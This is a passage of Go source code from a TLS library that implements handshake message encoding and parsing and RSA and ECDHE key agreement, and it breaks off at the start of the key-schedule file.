!readUint16LengthPrefixed(&extData, &m.cookie) || len(m.cookie) == 0 { return false } case extensionKeyShare: // This extension has different formats in SH and HRR, accept either // and let the handshake logic decide. See RFC 8446, Section 4.2.8. if len(extData) == 2 { if !extData.ReadUint16((*uint16)(&m.selectedGroup)) { return false } } else { if !extData.ReadUint16((*uint16)(&m.serverShare.group)) || !readUint16LengthPrefixed(&extData, &m.serverShare.data) { return false } } case extensionPreSharedKey: m.selectedIdentityPresent = true if !extData.ReadUint16(&m.selectedIdentity) { return false } case extensionSupportedPoints: // RFC 4492, Section 5.1.2 if !readUint8LengthPrefixed(&extData, &m.supportedPoints) || len(m.supportedPoints) == 0 { return false } default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } return true } type encryptedExtensionsMsg struct { raw []byte alpnProtocol string } func (m *encryptedExtensionsMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeEncryptedExtensions) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if len(m.alpnProtocol) > 0 { b.AddUint16(extensionALPN) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes([]byte(m.alpnProtocol)) }) }) }) } }) }) m.raw = b.BytesOrPanic() return m.raw } func (m *encryptedExtensionsMsg) unmarshal(data []byte) bool { *m = encryptedExtensionsMsg{raw: data} s := cryptobyte.String(data) var extensions cryptobyte.String if !s.Skip(4) || // message type and uint24 length field !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { return false } for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } switch extension { case extensionALPN: var protoList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&protoList) || protoList.Empty() { return false } var proto cryptobyte.String if !protoList.ReadUint8LengthPrefixed(&proto) || proto.Empty() || !protoList.Empty() { return false } m.alpnProtocol = string(proto) default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } return true } type endOfEarlyDataMsg struct{} func (m *endOfEarlyDataMsg) marshal() []byte { x := make([]byte, 4) x[0] = typeEndOfEarlyData return x } func (m *endOfEarlyDataMsg) unmarshal(data []byte) bool { return len(data) == 4 } type keyUpdateMsg struct { raw []byte updateRequested bool } func (m *keyUpdateMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeKeyUpdate) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { if m.updateRequested { b.AddUint8(1) } else { b.AddUint8(0) } }) m.raw = b.BytesOrPanic() return m.raw } func (m *keyUpdateMsg) unmarshal(data []byte) bool { m.raw = data s := cryptobyte.String(data) var updateRequested uint8 if !s.Skip(4) || // message type and uint24 length field !s.ReadUint8(&updateRequested) || !s.Empty() { return false } switch updateRequested { case 0: m.updateRequested = false case 1: m.updateRequested = true default: return false } return true } type newSessionTicketMsgTLS13 struct { raw []byte lifetime uint32 ageAdd uint32 nonce []byte label []byte maxEarlyData uint32 } func (m *newSessionTicketMsgTLS13) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeNewSessionTicket) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint32(m.lifetime) b.AddUint32(m.ageAdd) b.AddUint8LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.nonce) }) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.label) }) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if m.maxEarlyData > 0 { b.AddUint16(extensionEarlyData) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint32(m.maxEarlyData) }) } }) }) m.raw = b.BytesOrPanic() return m.raw } func (m *newSessionTicketMsgTLS13) unmarshal(data []byte) bool { *m = newSessionTicketMsgTLS13{raw: data} s := cryptobyte.String(data) var extensions cryptobyte.String if !s.Skip(4) || // message type and uint24 length field !s.ReadUint32(&m.lifetime) || !s.ReadUint32(&m.ageAdd) || !readUint8LengthPrefixed(&s, &m.nonce) || !readUint16LengthPrefixed(&s, &m.label) || !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { return false } for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } switch extension { case extensionEarlyData: if !extData.ReadUint32(&m.maxEarlyData) { return false } default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } return true } type certificateRequestMsgTLS13 struct { raw []byte ocspStapling bool scts bool supportedSignatureAlgorithms []SignatureScheme supportedSignatureAlgorithmsCert []SignatureScheme certificateAuthorities [][]byte } func (m *certificateRequestMsgTLS13) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeCertificateRequest) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { // certificate_request_context (SHALL be zero length unless used for // post-handshake authentication) b.AddUint8(0) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if m.ocspStapling { b.AddUint16(extensionStatusRequest) b.AddUint16(0) // empty extension_data } if m.scts { // RFC 8446, Section 4.4.2.1 makes no mention of // signed_certificate_timestamp in CertificateRequest, but // "Extensions in the Certificate message from the client MUST // correspond to extensions in the CertificateRequest message // from the server." and it appears in the table in Section 4.2. b.AddUint16(extensionSCT) b.AddUint16(0) // empty extension_data } if len(m.supportedSignatureAlgorithms) > 0 { b.AddUint16(extensionSignatureAlgorithms) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sigAlgo := range m.supportedSignatureAlgorithms { b.AddUint16(uint16(sigAlgo)) } }) }) } if len(m.supportedSignatureAlgorithmsCert) > 0 { b.AddUint16(extensionSignatureAlgorithmsCert) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sigAlgo := range m.supportedSignatureAlgorithmsCert { b.AddUint16(uint16(sigAlgo)) } }) }) } if len(m.certificateAuthorities) > 0 { b.AddUint16(extensionCertificateAuthorities) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, ca := range m.certificateAuthorities { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(ca) }) } }) }) } }) }) m.raw = b.BytesOrPanic() return m.raw } func (m *certificateRequestMsgTLS13) unmarshal(data []byte) bool { *m = certificateRequestMsgTLS13{raw: data} s := cryptobyte.String(data) var context, extensions cryptobyte.String if !s.Skip(4) || // message type and uint24 length field !s.ReadUint8LengthPrefixed(&context) || !context.Empty() || !s.ReadUint16LengthPrefixed(&extensions) || !s.Empty() { return false } for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } switch extension { case extensionStatusRequest: m.ocspStapling = true case extensionSCT: m.scts = true case extensionSignatureAlgorithms: var sigAndAlgs cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { return false } for !sigAndAlgs.Empty() { var sigAndAlg uint16 if !sigAndAlgs.ReadUint16(&sigAndAlg) { return false } m.supportedSignatureAlgorithms = append( m.supportedSignatureAlgorithms, SignatureScheme(sigAndAlg)) } case extensionSignatureAlgorithmsCert: var sigAndAlgs cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sigAndAlgs) || sigAndAlgs.Empty() { return false } for !sigAndAlgs.Empty() { var sigAndAlg uint16 if !sigAndAlgs.ReadUint16(&sigAndAlg) { return false } m.supportedSignatureAlgorithmsCert = append( m.supportedSignatureAlgorithmsCert, SignatureScheme(sigAndAlg)) } case extensionCertificateAuthorities: var auths cryptobyte.String if !extData.ReadUint16LengthPrefixed(&auths) || auths.Empty() { return false } for !auths.Empty() { var ca []byte if !readUint16LengthPrefixed(&auths, &ca) || len(ca) == 0 { return false } m.certificateAuthorities = append(m.certificateAuthorities, ca) } default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } return true } type certificateMsg struct { raw []byte certificates [][]byte } func (m *certificateMsg) marshal() (x []byte) { if m.raw != nil { return m.raw } var i int for _, slice := range m.certificates { i += len(slice) } length := 3 + 3*len(m.certificates) + i x = make([]byte, 4+length) x[0] = typeCertificate x[1] = uint8(length >> 16) x[2] = uint8(length >> 8) x[3] = uint8(length) certificateOctets := length - 3 x[4] = uint8(certificateOctets >> 16) x[5] = uint8(certificateOctets >> 8) x[6] = uint8(certificateOctets) y := x[7:] for _, slice := range m.certificates { y[0] = uint8(len(slice) >> 16) y[1] = uint8(len(slice) >> 8) y[2] = uint8(len(slice)) copy(y[3:], slice) y = y[3+len(slice):] } m.raw = x return } func (m *certificateMsg) unmarshal(data []byte) bool { if len(data) < 7 { return false } m.raw = data certsLen := uint32(data[4])<<16 | uint32(data[5])<<8 | uint32(data[6]) if uint32(len(data)) != certsLen+7 { return false } numCerts := 0 d := data[7:] for certsLen > 0 { if len(d) < 4 { return false } certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2]) if uint32(len(d)) < 3+certLen { return false } d = d[3+certLen:] certsLen -= 3 + certLen numCerts++ } m.certificates = make([][]byte, numCerts) d = data[7:] for i := 0; i < numCerts; i++ { certLen := uint32(d[0])<<16 | uint32(d[1])<<8 | uint32(d[2]) m.certificates[i] = d[3 : 3+certLen] d = d[3+certLen:] } return true } type certificateMsgTLS13 struct { raw []byte certificate Certificate ocspStapling bool scts bool } func (m *certificateMsgTLS13) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeCertificate) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8(0) // certificate_request_context certificate := m.certificate if !m.ocspStapling { certificate.OCSPStaple = nil } if !m.scts { certificate.SignedCertificateTimestamps = nil } marshalCertificate(b, certificate) }) m.raw = b.BytesOrPanic() return m.raw } func marshalCertificate(b *cryptobyte.Builder, certificate Certificate) { b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { for i, cert := range certificate.Certificate { b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(cert) }) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { if i > 0 { // This library only supports OCSP and SCT for leaf certificates. return } if certificate.OCSPStaple != nil { b.AddUint16(extensionStatusRequest) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8(statusTypeOCSP) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(certificate.OCSPStaple) }) }) } if certificate.SignedCertificateTimestamps != nil { b.AddUint16(extensionSCT) b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { for _, sct := range certificate.SignedCertificateTimestamps { b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(sct) }) } }) }) } }) } }) } func (m *certificateMsgTLS13) unmarshal(data []byte) bool { *m = certificateMsgTLS13{raw: data} s := cryptobyte.String(data) var context cryptobyte.String if !s.Skip(4) || // message type and uint24 length field !s.ReadUint8LengthPrefixed(&context) || !context.Empty() || !unmarshalCertificate(&s, &m.certificate) || !s.Empty() { return false } m.scts = m.certificate.SignedCertificateTimestamps != nil m.ocspStapling = m.certificate.OCSPStaple != nil return true } func unmarshalCertificate(s *cryptobyte.String, certificate *Certificate) bool { var certList cryptobyte.String if !s.ReadUint24LengthPrefixed(&certList) { return false } for !certList.Empty() { var cert []byte var extensions cryptobyte.String if !readUint24LengthPrefixed(&certList, &cert) || !certList.ReadUint16LengthPrefixed(&extensions) { return false } certificate.Certificate = append(certificate.Certificate, cert) for !extensions.Empty() { var extension uint16 var extData cryptobyte.String if !extensions.ReadUint16(&extension) || !extensions.ReadUint16LengthPrefixed(&extData) { return false } if len(certificate.Certificate) > 1 { // This library only supports OCSP and SCT for leaf certificates. continue } switch extension { case extensionStatusRequest: var statusType uint8 if !extData.ReadUint8(&statusType) || statusType != statusTypeOCSP || !readUint24LengthPrefixed(&extData, &certificate.OCSPStaple) || len(certificate.OCSPStaple) == 0 { return false } case extensionSCT: var sctList cryptobyte.String if !extData.ReadUint16LengthPrefixed(&sctList) || sctList.Empty() { return false } for !sctList.Empty() { var sct []byte if !readUint16LengthPrefixed(&sctList, &sct) || len(sct) == 0 { return false } certificate.SignedCertificateTimestamps = append( certificate.SignedCertificateTimestamps, sct) } default: // Ignore unknown extensions. continue } if !extData.Empty() { return false } } } return true } type serverKeyExchangeMsg struct { raw []byte key []byte } func (m *serverKeyExchangeMsg) marshal() []byte { if m.raw != nil { return m.raw } length := len(m.key) x := make([]byte, length+4) x[0] = typeServerKeyExchange x[1] = uint8(length >> 16) x[2] = uint8(length >> 8) x[3] = uint8(length) copy(x[4:], m.key) m.raw = x return x } func (m *serverKeyExchangeMsg) unmarshal(data []byte) bool { m.raw = data if len(data) < 4 { return false } m.key = data[4:] return true } type certificateStatusMsg struct { raw []byte response []byte } func (m *certificateStatusMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeCertificateStatus) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddUint8(statusTypeOCSP) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.response) }) }) m.raw = b.BytesOrPanic() return m.raw } func (m *certificateStatusMsg) unmarshal(data []byte) bool { m.raw = data s := cryptobyte.String(data) var statusType uint8 if !s.Skip(4) || // message type and uint24 length field !s.ReadUint8(&statusType) || statusType != statusTypeOCSP || !readUint24LengthPrefixed(&s, &m.response) || len(m.response) == 0 || !s.Empty() { return false } return true } type serverHelloDoneMsg struct{} func (m *serverHelloDoneMsg) marshal() []byte { x := make([]byte, 4) x[0] = typeServerHelloDone return x } func (m *serverHelloDoneMsg) unmarshal(data []byte) bool { return len(data) == 4 } type clientKeyExchangeMsg struct { raw []byte ciphertext []byte } func (m *clientKeyExchangeMsg) marshal() []byte { if m.raw != nil { return m.raw } length := len(m.ciphertext) x := make([]byte, length+4) x[0] = typeClientKeyExchange x[1] = uint8(length >> 16) x[2] = uint8(length >> 8) x[3] = uint8(length) copy(x[4:], m.ciphertext) m.raw = x return x } func (m *clientKeyExchangeMsg) unmarshal(data []byte) bool { m.raw = data if len(data) < 4 { return false } l := int(data[1])<<16 | int(data[2])<<8 | int(data[3]) if l != len(data)-4 { return false } m.ciphertext = data[4:] return true } type finishedMsg struct { raw []byte verifyData []byte } func (m *finishedMsg) marshal() []byte { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeFinished) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.verifyData) }) m.raw = b.BytesOrPanic() return m.raw } func (m *finishedMsg) unmarshal(data []byte) bool { m.raw = data s := cryptobyte.String(data) return s.Skip(1) && readUint24LengthPrefixed(&s, &m.verifyData) && s.Empty() } type certificateRequestMsg struct { raw []byte // hasSignatureAlgorithm indicates whether this message includes a list of // supported signature algorithms. This change was introduced with TLS 1.2. hasSignatureAlgorithm bool certificateTypes []byte supportedSignatureAlgorithms []SignatureScheme certificateAuthorities [][]byte } func (m *certificateRequestMsg) marshal() (x []byte) { if m.raw != nil { return m.raw } // See RFC 4346, Section 7.4.4. length := 1 + len(m.certificateTypes) + 2 casLength := 0 for _, ca := range m.certificateAuthorities { casLength += 2 + len(ca) } length += casLength if m.hasSignatureAlgorithm { length += 2 + 2*len(m.supportedSignatureAlgorithms) } x = make([]byte, 4+length) x[0] = typeCertificateRequest x[1] = uint8(length >> 16) x[2] = uint8(length >> 8) x[3] = uint8(length) x[4] = uint8(len(m.certificateTypes)) copy(x[5:], m.certificateTypes) y := x[5+len(m.certificateTypes):] if m.hasSignatureAlgorithm { n := len(m.supportedSignatureAlgorithms) * 2 y[0] = uint8(n >> 8) y[1] = uint8(n) y = y[2:] for _, sigAlgo := range m.supportedSignatureAlgorithms { y[0] = uint8(sigAlgo >> 8) y[1] = uint8(sigAlgo) y = y[2:] } } y[0] = uint8(casLength >> 8) y[1] = uint8(casLength) y = y[2:] for _, ca := range m.certificateAuthorities { y[0] = uint8(len(ca) >> 8) y[1] = uint8(len(ca)) y = y[2:] copy(y, ca) y = y[len(ca):] } m.raw = x return } func (m *certificateRequestMsg) unmarshal(data []byte) bool { m.raw = data if len(data) < 5 { return false } length := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3]) if uint32(len(data))-4 != length { return false } numCertTypes := int(data[4]) data = data[5:] if numCertTypes == 0 || len(data) <= numCertTypes { return false } m.certificateTypes = make([]byte, numCertTypes) if copy(m.certificateTypes, data) != numCertTypes { return false } data = data[numCertTypes:] if m.hasSignatureAlgorithm { if len(data) < 2 { return false } sigAndHashLen := uint16(data[0])<<8 | uint16(data[1]) data = data[2:] if sigAndHashLen&1 != 0 { return false } if len(data) < int(sigAndHashLen) { return false } numSigAlgos := sigAndHashLen / 2 m.supportedSignatureAlgorithms = make([]SignatureScheme, numSigAlgos) for i := range m.supportedSignatureAlgorithms { m.supportedSignatureAlgorithms[i] = SignatureScheme(data[0])<<8 | SignatureScheme(data[1]) data = data[2:] } } if len(data) < 2 { return false } casLength := uint16(data[0])<<8 | uint16(data[1]) data = data[2:] if len(data) < int(casLength) { return false } cas := make([]byte, casLength) copy(cas, data) data = data[casLength:] m.certificateAuthorities = nil for len(cas) > 0 { if len(cas) < 2 { return false } caLen := uint16(cas[0])<<8 | uint16(cas[1]) cas = cas[2:] if len(cas) < int(caLen) { return false } m.certificateAuthorities = append(m.certificateAuthorities, cas[:caLen]) cas = cas[caLen:] } return len(data) == 0 } type certificateVerifyMsg struct { raw []byte hasSignatureAlgorithm bool // format change introduced in TLS 1.2 signatureAlgorithm SignatureScheme signature []byte } func (m *certificateVerifyMsg) marshal() (x []byte) { if m.raw != nil { return m.raw } var b cryptobyte.Builder b.AddUint8(typeCertificateVerify) b.AddUint24LengthPrefixed(func(b *cryptobyte.Builder) { if m.hasSignatureAlgorithm { b.AddUint16(uint16(m.signatureAlgorithm)) } b.AddUint16LengthPrefixed(func(b *cryptobyte.Builder) { b.AddBytes(m.signature) }) }) m.raw = b.BytesOrPanic() return m.raw } func (m *certificateVerifyMsg) unmarshal(data []byte) bool { m.raw = data s := cryptobyte.String(data) if !s.Skip(4) { // message type and uint24 length field return false } if m.hasSignatureAlgorithm { if !s.ReadUint16((*uint16)(&m.signatureAlgorithm)) { return false } } return readUint16LengthPrefixed(&s, &m.signature) && s.Empty() } type newSessionTicketMsg struct { raw []byte ticket []byte } func (m *newSessionTicketMsg) marshal() (x []byte) { if m.raw != nil { return m.raw } // See RFC 5077, Section 3.3. ticketLen := len(m.ticket) length := 2 + 4 + ticketLen x = make([]byte, 4+length) x[0] = typeNewSessionTicket x[1] = uint8(length >> 16) x[2] = uint8(length >> 8) x[3] = uint8(length) x[8] = uint8(ticketLen >> 8) x[9] = uint8(ticketLen) copy(x[10:], m.ticket) m.raw = x return } func (m *newSessionTicketMsg) unmarshal(data []byte) bool { m.raw = data if len(data) < 10 { return false } length := uint32(data[1])<<16 | uint32(data[2])<<8 | uint32(data[3]) if uint32(len(data))-4 != length { return false } ticketLen := int(data[8])<<8 + int(data[9]) if len(data)-10 != ticketLen { return false } m.ticket = data[10:] return true } type helloRequestMsg struct { } func (*helloRequestMsg) marshal() []byte { return []byte{typeHelloRequest, 0, 0, 0} } func (*helloRequestMsg) unmarshal(data []byte) bool { return len(data) == 4 } ================================================ FILE: tls/key_agreement.go ================================================ // Copyright 2010 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "crypto" "crypto/md5" "crypto/rsa" "crypto/sha1" "crypto/x509" "errors" "fmt" "io" ) var errClientKeyExchange = errors.New("tls: invalid ClientKeyExchange message") var errServerKeyExchange = errors.New("tls: invalid ServerKeyExchange message") // rsaKeyAgreement implements the standard TLS key agreement where the client // encrypts the pre-master secret to the server's public key. type rsaKeyAgreement struct{} func (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) { return nil, nil } func (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) { if len(ckx.ciphertext) < 2 { return nil, errClientKeyExchange } ciphertextLen := int(ckx.ciphertext[0])<<8 | int(ckx.ciphertext[1]) if ciphertextLen != len(ckx.ciphertext)-2 { return nil, errClientKeyExchange } ciphertext := ckx.ciphertext[2:] priv, ok := cert.PrivateKey.(crypto.Decrypter) if !ok { return nil, errors.New("tls: certificate private key does not implement crypto.Decrypter") } // Perform constant time RSA PKCS#1 v1.5 decryption preMasterSecret, err := priv.Decrypt(config.rand(), ciphertext, &rsa.PKCS1v15DecryptOptions{SessionKeyLen: 48}) if err != nil { return nil, err } // We don't check the version number in the premaster secret. For one, // by checking it, we would leak information about the validity of the // encrypted pre-master secret. Secondly, it provides only a small // benefit against a downgrade attack and some implementations send the // wrong version anyway. See the discussion at the end of section // 7.4.7.1 of RFC 4346. return preMasterSecret, nil } func (ka rsaKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error { return errors.New("tls: unexpected ServerKeyExchange") } func (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) { preMasterSecret := make([]byte, 48) preMasterSecret[0] = byte(clientHello.vers >> 8) preMasterSecret[1] = byte(clientHello.vers) _, err := io.ReadFull(config.rand(), preMasterSecret[2:]) if err != nil { return nil, nil, err } encrypted, err := rsa.EncryptPKCS1v15(config.rand(), cert.PublicKey.(*rsa.PublicKey), preMasterSecret) if err != nil { return nil, nil, err } ckx := new(clientKeyExchangeMsg) ckx.ciphertext = make([]byte, len(encrypted)+2) ckx.ciphertext[0] = byte(len(encrypted) >> 8) ckx.ciphertext[1] = byte(len(encrypted)) copy(ckx.ciphertext[2:], encrypted) return preMasterSecret, ckx, nil } // sha1Hash calculates a SHA1 hash over the given byte slices. func sha1Hash(slices [][]byte) []byte { hsha1 := sha1.New() for _, slice := range slices { hsha1.Write(slice) } return hsha1.Sum(nil) } // md5SHA1Hash implements TLS 1.0's hybrid hash function which consists of the // concatenation of an MD5 and SHA1 hash. func md5SHA1Hash(slices [][]byte) []byte { md5sha1 := make([]byte, md5.Size+sha1.Size) hmd5 := md5.New() for _, slice := range slices { hmd5.Write(slice) } copy(md5sha1, hmd5.Sum(nil)) copy(md5sha1[md5.Size:], sha1Hash(slices)) return md5sha1 } // hashForServerKeyExchange hashes the given slices and returns their digest // using the given hash function (for >= TLS 1.2) or using a default based on // the sigType (for earlier TLS versions). For Ed25519 signatures, which don't // do pre-hashing, it returns the concatenation of the slices. func hashForServerKeyExchange(sigType uint8, hashFunc crypto.Hash, version uint16, slices ...[]byte) []byte { if sigType == signatureEd25519 { var signed []byte for _, slice := range slices { signed = append(signed, slice...) } return signed } if version >= VersionTLS12 { h := hashFunc.New() for _, slice := range slices { h.Write(slice) } digest := h.Sum(nil) return digest } if sigType == signatureECDSA { return sha1Hash(slices) } return md5SHA1Hash(slices) } // ecdheKeyAgreement implements a TLS key agreement where the server // generates an ephemeral EC public/private key pair and signs it. The // pre-master secret is then calculated using ECDH. The signature may // be ECDSA, Ed25519 or RSA. type ecdheKeyAgreement struct { version uint16 isRSA bool params ecdheParameters // ckx and preMasterSecret are generated in processServerKeyExchange // and returned in generateClientKeyExchange. ckx *clientKeyExchangeMsg preMasterSecret []byte } func (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) { var curveID CurveID for _, c := range clientHello.supportedCurves { if config.supportsCurve(c) { curveID = c break } } if curveID == 0 { return nil, errors.New("tls: no supported elliptic curves offered") } if _, ok := curveForCurveID(curveID); curveID != X25519 && !ok { return nil, errors.New("tls: CurvePreferences includes unsupported curve") } params, err := generateECDHEParameters(config.rand(), curveID) if err != nil { return nil, err } ka.params = params // See RFC 4492, Section 5.4. ecdhePublic := params.PublicKey() serverECDHEParams := make([]byte, 1+2+1+len(ecdhePublic)) serverECDHEParams[0] = 3 // named curve serverECDHEParams[1] = byte(curveID >> 8) serverECDHEParams[2] = byte(curveID) serverECDHEParams[3] = byte(len(ecdhePublic)) copy(serverECDHEParams[4:], ecdhePublic) priv, ok := cert.PrivateKey.(crypto.Signer) if !ok { return nil, fmt.Errorf("tls: certificate private key of type %T does not implement crypto.Signer", cert.PrivateKey) } var signatureAlgorithm SignatureScheme var sigType uint8 var sigHash crypto.Hash if ka.version >= VersionTLS12 { signatureAlgorithm, err = selectSignatureScheme(ka.version, cert, clientHello.supportedSignatureAlgorithms) if err != nil { return nil, err } sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) if err != nil { return nil, err } } else { sigType, sigHash, err = legacyTypeAndHashFromPublicKey(priv.Public()) if err != nil { return nil, err } } if (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA { return nil, errors.New("tls: certificate cannot be used with the selected cipher suite") } signed := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, hello.random, serverECDHEParams) signOpts := crypto.SignerOpts(sigHash) if sigType == signatureRSAPSS { signOpts = &rsa.PSSOptions{SaltLength: rsa.PSSSaltLengthEqualsHash, Hash: sigHash} } sig, err := priv.Sign(config.rand(), signed, signOpts) if err != nil { return nil, errors.New("tls: failed to sign ECDHE parameters: " + err.Error()) } skx := new(serverKeyExchangeMsg) sigAndHashLen := 0 if ka.version >= VersionTLS12 { sigAndHashLen = 2 } skx.key = make([]byte, len(serverECDHEParams)+sigAndHashLen+2+len(sig)) copy(skx.key, serverECDHEParams) k := skx.key[len(serverECDHEParams):] if ka.version >= VersionTLS12 { k[0] = byte(signatureAlgorithm >> 8) k[1] = byte(signatureAlgorithm) k = k[2:] } k[0] = byte(len(sig) >> 8) k[1] = byte(len(sig)) copy(k[2:], sig) return skx, nil } func (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) { if len(ckx.ciphertext) == 0 || int(ckx.ciphertext[0]) != len(ckx.ciphertext)-1 { return nil, errClientKeyExchange } preMasterSecret := ka.params.SharedKey(ckx.ciphertext[1:]) if preMasterSecret == nil { return nil, errClientKeyExchange } return preMasterSecret, nil } func (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error { if len(skx.key) < 4 { return errServerKeyExchange } if skx.key[0] != 3 { // named curve return errors.New("tls: server selected unsupported curve") } curveID := CurveID(skx.key[1])<<8 | CurveID(skx.key[2]) publicLen := int(skx.key[3]) if publicLen+4 > len(skx.key) { return errServerKeyExchange } serverECDHEParams := skx.key[:4+publicLen] publicKey := serverECDHEParams[4:] sig := skx.key[4+publicLen:] if len(sig) < 2 { return errServerKeyExchange } if _, ok := curveForCurveID(curveID); curveID != X25519 && !ok { return errors.New("tls: server selected unsupported curve") } params, err := generateECDHEParameters(config.rand(), curveID) if err != nil { return err } ka.params = params ka.preMasterSecret = params.SharedKey(publicKey) if ka.preMasterSecret == nil { return errServerKeyExchange } ourPublicKey := params.PublicKey() ka.ckx = new(clientKeyExchangeMsg) ka.ckx.ciphertext = make([]byte, 1+len(ourPublicKey)) ka.ckx.ciphertext[0] = byte(len(ourPublicKey)) copy(ka.ckx.ciphertext[1:], ourPublicKey) var sigType uint8 var sigHash crypto.Hash if ka.version >= VersionTLS12 { signatureAlgorithm := SignatureScheme(sig[0])<<8 | SignatureScheme(sig[1]) sig = sig[2:] if len(sig) < 2 { return errServerKeyExchange } if !isSupportedSignatureAlgorithm(signatureAlgorithm, clientHello.supportedSignatureAlgorithms) { return errors.New("tls: certificate used with invalid signature algorithm") } sigType, sigHash, err = typeAndHashFromSignatureScheme(signatureAlgorithm) if err != nil { return err } } else { sigType, sigHash, err = legacyTypeAndHashFromPublicKey(cert.PublicKey) if err != nil { return err } } if (sigType == signaturePKCS1v15 || sigType == signatureRSAPSS) != ka.isRSA { return errServerKeyExchange } sigLen := int(sig[0])<<8 | int(sig[1]) if sigLen+2 != len(sig) { return errServerKeyExchange } sig = sig[2:] signed := hashForServerKeyExchange(sigType, sigHash, ka.version, clientHello.random, serverHello.random, serverECDHEParams) if err := verifyHandshakeSignature(sigType, cert.PublicKey, sigHash, signed, sig); err != nil { return errors.New("tls: invalid signature by the server certificate: " + err.Error()) } return nil } func (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) { if ka.ckx == nil { return nil, nil, errors.New("tls: missing ServerKeyExchange message") } return ka.preMasterSecret, ka.ckx, nil } ================================================ FILE: tls/key_schedule.go ================================================ // Copyright 2018 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package tls import ( "crypto/elliptic" "errors" "io" "math/big" "golang.org/x/crypto/curve25519" ) // This file contains the functions necessary to compute the TLS 1.3 key // schedule. See RFC 8446, Section 7. const ( 